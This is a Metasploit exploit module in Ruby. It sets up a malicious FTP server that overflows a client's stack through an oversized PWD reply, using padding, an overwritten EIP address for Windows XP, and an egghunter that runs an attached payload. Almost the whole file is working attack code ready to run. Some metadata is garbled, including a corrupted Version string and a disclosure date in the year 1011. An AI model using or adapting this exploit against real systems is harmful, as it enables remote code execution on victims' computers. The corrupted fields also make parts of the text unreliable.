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##
# $Id: Mod_FTPD_server.rb 16897 2011-9-12 19:03:24Z Iraq $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::FtpServer
include Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Mod_FTPD Stack Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in Mod_FTPD The overflow gets
triggered when the ftp clients tries to process an overly response to a PWD command.
This will overwrite the saved EIP and structured exception handler.
},
'Author' =>
[
'Angel Injection'
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 16897 ___FCKpd___0quot;,
'References' =>
[
[ 'OSVDB', '16897'],
[ 'URL', 'http://1337day.com/exploits/16899' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xfd\x0e\x7c\x2e\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ],
],
'Privileged' => false,
'DisclosureDate' => '12/9/1011',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_pwd(c,arg)
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "root"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
print_status(" - PWD command -> Sending payload")
junk = "A" * target['Offset']
nops = "A" * 10
tweakhunter = "\x5a\x5a"
eip = [target.ret].pack('V')
buffer = junk + eip + nops + tweakhunter + hunter + egg
pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"
c.put(pwdoutput)
print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
return
end
end
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